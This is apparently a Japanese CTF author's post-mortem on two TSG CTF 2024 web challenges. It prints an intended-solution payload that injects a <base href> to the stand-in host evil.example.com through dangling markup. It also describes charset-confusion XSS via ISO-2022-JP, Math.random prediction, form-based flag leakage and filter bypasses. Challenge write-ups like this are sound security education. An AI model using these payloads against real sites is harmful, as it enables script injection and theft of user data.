天才クールスレンダー美少女になりたい

チラシの表(なぜなら私はチラシの表にも印刷の上からメモを書くため)

TSG CTF 2024 大反省会 (Toolong Tea, Cipher Preset Button)

TSG CTF 2024、参加者のみなさんはお疲れ様でした。私はToolong TeaとCipher Preset Buttonを作問しました。正式な作問者writeupはどうせそのうち公開されるので、今日はwriteupではなく「大反省会」をお送りします。

この記事は「CTF Advent Calendar 2024」の15日目の記事でもあります。

adventar.org

全体について

Q. webが3問しかないって馬鹿なんじゃないですか?
A. 大変申し訳ありません。全ての責任は私の作問能力の不足にあります。

いっそ他の分野もダメだったら「もうTSG CTF開催するの無理じゃない?」って言えるんですけど、現状webだけ著しく弱い状態なのでどうしようかな……


各問題について

そのうちTSG公式から配布ファイルとか諸々が公開されると思いますが、とりあえず自分が作った問題の配布ファイルだけGoogleドライブに置きました。公開されたら後でGitHubのリンクに差し替えときます。

drive.google.com

Toolong Tea

……これ、「この名前は結構オシャレだと思う」以外にコメントすることあります? 多少CTFに慣れてる人にとっては本当にやるだけです。CTF初心者をJavaScriptの深淵に突き落とす教育的効果くらいはあるかもしれませんが……

いくらなんでもwebが2問しかないのはありえないし、beginner問題がないのもありえなかったので急造しました。1秒で解かれたのはまあ想定通りです。
hakatashi大先輩が確立した「難しいbeginner問」路線を継承できないのは苦しいですが、去年のbeginner問としてhakatashi本人が出したUpside-down cakeがそこそこシンプルで簡単だったため、もう私も諦めていいか……という気持ちでした。いやそれにしたってちょっと簡単すぎるんじゃないの……とは思います。栄光あるTSG CTFの名を貶めた気しかしません。

フラグ

フラグはTSGCTF{A_holy_night_with_no_dawn_my_dear...}で、ググれば分かりますが美少女ゲーム「アメイジング・グレイス: What color is your attribute?」のキャッチコピーの公式英訳です。

愛しの君へ 明けない聖夜の祝福を——

ミステリが好きな人はネタバレ踏む前にやってほしいです。このゲームでないとできない体験があります。あるんです。

一応PC版はR-18ですが、R-18なシーンは一度も通らずに全クリできます。DL版の販売サイト(FANZA)で冬のセールをやっていて、クリスマス(正確には25日23時59分)まで1999円とマジで破格になっております。
まあFANZAのギャラリーにR-18シーンのイラストが載ってるので、それすら見たくないという人は諦めて全年齢版を買うといいでしょう。全年齢版がPS4でしか出てないので今更買ってくださいとも言いづらいのがアレなんですが……

dlsoft.dmm.co.jp

英語か中国語を読めるなら海外版も選択肢に入るかもしれません。ボイスが日本語とはいえ地の文は英語か中国語オンリーなので相当大変だとは思いますが……

store.steampowered.com


とにかく、正直この問題はどうでもよくて「アメイジング・グレイス」の話をしたかったんです。内容についてはネタバレ抜きで語るのが大変なので今回はスキップということで。そろそろクリスマスだし季節的にもちょうどいいです。

Cipher Preset Button

要はdangling markupでUTF-8宣言を潰し、文字エンコーディングの自動検出でUTF-8以外をブラウザに選ばせることで、prefixの文字数制限をクライアント側だけで突破するというだけの問題です。手法の新規性はともかくパズル的な面白さはあるかな……と思ったんですが、普通に猛者のみなさんにとってはやるだけっぽかったので号泣という感じです。

文字エンコーディングをいじるだけならともかくauto detectionを利用するのは新規性あるかな〜と思っていたんですが、この記事を書きつつ解いた人の反応を見ながらインターネットを探していたところ普通に既出っぽくて泣きました。というかISO-2022-JPを使った攻撃テクとか全く知らなかったんだけど。メールの文字化けのアレという認識しかなかった(無知すぎワロタ)。

www.sonarsource.com

zenn.dev

blog.ankursundara.com

言い訳をすると、私がこのネタを思いついたのは6月初頭なのでSonarSourceの記事より前です。正直私がリサーチ不足なだけでそれより前に出てても全く驚きませんが……
「思いついた」といっても、普通に「読み込んだJSが文字化けして誤作動してたけど確認したらmeta charset書き忘れてた」というレベルの話で、dangling markupと合わせてCTFに使える! と思ったものの問題設定を思いつかず2ヶ月経ってました(だいたいの形が完成したのが8月19日)。

まあ……単に既出なら最悪まだいいんですが、それで非想定解が出たとなれば話が別です。というのも、ISO-2022-JPを使うとエスケープをバイパスしてJSを実行する非想定解が可能になるからです。JSの文字列の中に登場するダブルクオートをエスケープするためにバックスラッシュを使っていたのですが、ISO-2022-JPだとバックスラッシュを円マークに化かすことができ、文字列を終わらせて任意のJSコードを書けてしまいます。UTF-16が攻撃に使えなかった以上ASCII範囲の文字列はどのエンコーディングでも正しく解釈されると思い込んでいて、jsStr側の攻撃を検討していませんでした。

github.com

ISO-2022-JPを利用した非想定解を潰すにはどうしておけば良かったかというと、シンプルに制御文字を禁止しておけば良かったですね。想定解はどこにも制御文字を使っていないので。

// 想定解
const payload = {
  name: '</title><base href="https://evil.example.com" data-foo="',
  prefix: 'ллллллллллллллллллллллллл'
}

あと、Math.randomが暗号学的に安全でないことを利用して最初の25回の結果から後ろの23回の結果を推測した強者がいてビビりました。V8用の推測ツールはあるらしいんですが、SpiderMonkeyに適用するためにFirefoxのソースコード読みに行ったらしく、なんというか……CTFerってマジでパワーのある人しかおらんのよな……。こういうとこで横着せずcrypto APIの乱数を使っておくべきだった……と思う一方、これは正直想定解よりもすごい解法なのでまあええか……という気持ちもあります。

github.com

他にも、document.getElementById('key').textContent = getKey()という部分に着目し、keyというIDのtextareaなどを挿入した上で(これでその要素の中にフラグが入る)、クローラにフォーム送信ボタンを押させて情報を抜き取るというシンプルな解法もありました。余計な機能をつけるとすぐこうなります。というか、なんで気付かなかった……


全体として、「ちゃんと非想定解を弾いていればもうちょっと難しくなったんじゃないか?」という後悔が強く残る1問となりました。想定解で解いてくれた人もいて、それはかなり嬉しかったですが。出題前にちゃんとCTFが強い人にレビューしてもらうべき……なんですけど、本来は私が「CTFが強い人」のポジションになってないとおかしいのでは?

問題名とフラグ

問題名はCipher Preset Buttonですが、これはkemuのボーカロイド曲「人生リセットボタン」に由来します。フラグのTSGCTF{8ab2815d40|reset!if d<P653124710Y|ac7aa4}も、半分くらいのランダム部分を除くと、dが「6兆5千3百12万4千7百10年」より小さい場合にリセットする……みたいな意味のつもりです。P653124710YはdurationのISO8601表記ですね。

追記: と思ってたんですけど冷静に考えたら日本語の6兆5千3百12万4千7百10年は653124710じゃなくて6000053124710でした。この作問者は数もまともに数えられないんか?

ChromeとFirefoxの文字エンコーディング検知の差異

この問題でChromeではなくFirefoxを使っている理由は単純で、文字エンコーディングを検知する際の挙動がChromeだとユーザーの言語に引っ張られるからです。日本語話者のプレイヤーだと本来刺さるはずのexploitがローカルのChromeだと刺さらなかったりするので(想定解で「あ」を25文字並べたやつをprefixにするとたぶん再現できます)、そういう変なトラップがおそらくなさそうなFirefoxを使いました。

↓Chromeで使われている文字エンコーディング検知モジュール。言語が判定に影響するにしても、普通にChrome側でHTML上のlang属性を優先してくれればいいのに……とはちょっと思います。

github.com

最初の案からの変更点

これでもセルフレビューで非想定解はいくつか潰したんですよ。作問者の信じられない間抜けっぷりとヒヤリハット感をお楽しみください。

  • dangling markupとかじゃなくてシンプルに<meta charset="windows-1252">を挿入すれば解けてしまったので弾く
  • その弾き方として「フラグメントとしてHTMLをパースしHTMLの要素が1つもなければそのまま通す」をやっていたが(<base href="https://evil.example.com" foo="みたいな感じでバイパスできる)、あまりにdangling markupに強く誘導しすぎるのでmetaという文字列を弾くだけにする
  • 弾くときに正規表現をcase insentiveにするのを忘れて、あやうく<META charset="windows-1252">と書けばバリデーションを突破できてしまうところだった
  • MongoDBのObjectIDをそのままURLに使っていたが、CTF開始1時間前にもう1問作れないか無駄な足掻きをしていた際にObjectIDが推測可能であることを知り慌ててNanoIDに修正 (誰かがsolveしたときのIDを推測して後追いsolveされたら困る)

大会中のトラブル

Cipher Preset Buttonが暴走してGCPのVMごと巻き込んでフリーズしてウケました(ディスクIOが大変なことに……)。ブラウザを動かす問題はリソースを食うという理由で一応こいつだけ別のVMに隔離しており、結果的に被害が小さく済んだのが不幸中の幸いです。

1度はVMごと再起動して対処したのですが、2回目が発生したので明らかに実装側に問題があると判断し、とりあえずプロセスの間ずっとFirefoxを起動し続けていたのをアクセスごとに毎回落とすことにしました。Firefoxを毎回終了していなかったのはブラウザの起動に時間がかかって処理効率が下がるからですが、冷静に考えるとクローラのキューが溜まっていない場合は数秒時間が増えても問題ないので、「溜まっていればそのまま次のページへ、溜まっていなければ一度ブラウザを終了」という処理に変更しました。

その後は一切のトラブルが起きていません。最初からそうしとけ。

反省点まとめ

  • ちゃんとCTFに出て成長し非想定解を潰せるようになる
  • ちゃんとレビューしてもらう
  • 最新の攻撃手法をちゃんと追っておく
  • 自分の解法が成立する範囲で「変な」入力(例: 制御文字)を弾く
  • 問題のガワ(UI部分)にあまり余分なものを書かない方がいい、非想定解ができるので (XSSやXS-Leak系統は特に)


精進あるのみ……